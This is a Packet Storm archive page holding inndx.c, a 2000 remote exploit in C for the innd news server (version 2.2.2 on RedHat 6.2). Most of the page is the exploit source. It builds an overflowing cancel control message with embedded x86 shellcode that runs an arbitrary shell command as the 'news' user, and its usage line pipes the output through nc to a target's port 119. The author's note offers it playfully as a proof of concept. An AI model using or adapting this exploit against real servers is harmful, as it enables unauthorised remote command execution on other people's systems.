exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

inndx.c

inndx.c
Posted Jun 16, 2000
Authored by Wojciech Purczynski | Site elzabsoft.pl

inndx: innd remote 'news' user/group exploit. Tested on innd-2.2.2-3 default installation on RedHat 6.2.

tags | exploit, remote
systems | linux, redhat
SHA-256 | 40a254fd6187f80b20f5181e8ee23d738cce908dc6782c0452d8dc9564f32a3f

inndx.c

Change Mirror Download

As Michal said it is exploitable so I wrote proof-of-concept exploit.
It is rather trivial to exploit as we have plenty of room to put our
shellcode :)

Have a phun :)

-wp

--- exploit ---
/*
* inndx: innd remote 'news' user/group exploit
*
* Written on 12th June 2000 by Wojciech Purczynski
* <wp@elzabsoft.pl> cliph/ircnet
*
* Bug found by Michal Zalewski.
*
* Tested on innd-2.2.2-3 default installation on RedHat 6.2.
*
* Usage:
* ./inndx [command [offset]]|nc -i 1 target.host 119
*/

#include <stdio.h>
#include <unistd.h>

#define RETADDR 0x8138004 /* we're jumping into the body of cancel msg */
#define BUFSIZE (256+2*4+4) /* buff + EBP + EIP + Data */
#define JUNKSIZE strlen("\"\" wants to cancel <> by \"")
#define NOP 0x90
#define FAKEPTR 0xbffff1c0
#define COMMAND "echo U have b33n h@x0r3d hahahah|mail root"
#define BODYSIZE 999

/* Code written by me */
char * run_command=
"\xeb\x3d\x5e\x89\xf7\x31\xc0\x47"
"\x80\x3f\xff\x75\xfa\x88\x07\x47"
"\x89\x37\x89\xf3\x46\x80\x3e\x2e"
"\x75\xfa\x88\x06\x46\x89\x77\x04"
"\x46\x80\x3e\x2e\x75\xfa\x88\x06"
"\x46\x89\x77\x08\x89\x47\x0c\x89"
"\xf9\x8d\x57\x0c\xb0\x0b\xcd\x80"
"\x89\xc3\x31\xc0\x40\xcd\x80\xe8"
"\xbe\xff\xff\xff/bin/sh.-c.";

int main(int argc, char *argv[])
{
int retaddr=RETADDR;
char messageid[256];
char sender[16];
char body[BODYSIZE];
char * command=COMMAND;
int midsize;
int i;

if (argc>1) command=argv[1];
if (argc>2) retaddr+=atoi(argv[2]);

memset(sender, 0, sizeof(sender));
strcpy(sender+0, "a@a."); /* EBP */
*(long*)(sender+4)=(long)retaddr; /* EIP */
*(long*)(sender+8)=(long)RETADDR+1000; /* Data */

memset(messageid, 'a', sizeof(messageid));
sprintf(messageid, "%s@a", tmpnam(NULL)+9);
messageid[strlen(messageid)]='a';
messageid[BUFSIZE-JUNKSIZE-5-strlen(sender)]=0;

memset(body, NOP, sizeof(body));
strcpy(body+sizeof(body)-strlen(run_command)-strlen(command)-2, run_command);
strcat(body, command);
strcat(body, "\xff");

fprintf(stderr, "RETADDR=%p\n", retaddr);
fprintf(stderr, "COMMAND=%s\n", command);

printf("mode reader\r\ngroup test\r\npost\r\n");
printf("Message-ID: <%s>\r\n", messageid);
printf("From: %s\r\nSender: %s\r\n", sender, sender);
printf("Newsgroups: test\r\n");
printf("Subject: blah\r\n");
printf("\r\nblah\r\n.\r\n");

printf("group control\r\npost\r\n");
printf("Message-ID: <%s@test>\r\n", tmpnam(NULL)+9);
printf("From: a@b.c\r\nSender: a@b.c\r\n");
printf("Control: cancel <%s>\r\n", messageid);
printf("Subject: cmsg cancel <%s>\r\n", messageid);
printf("Newsgroups: control\r\n\r\n%s\r\n.\r\nquit\r\n", body);
}
--- eof ---

+--------------------------------------------------------------------+
| Wojciech Purczynski wp@elzabsoft.pl http://www.elzabsoft.pl/~wp |
| GSM: +48604432981 Linux Administrator SMS: wp-sms@elzabsoft.pl |
+------ Public GnuPG Key: http://www.elzabsoft.pl/~wp/gpg.asc ------+

Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close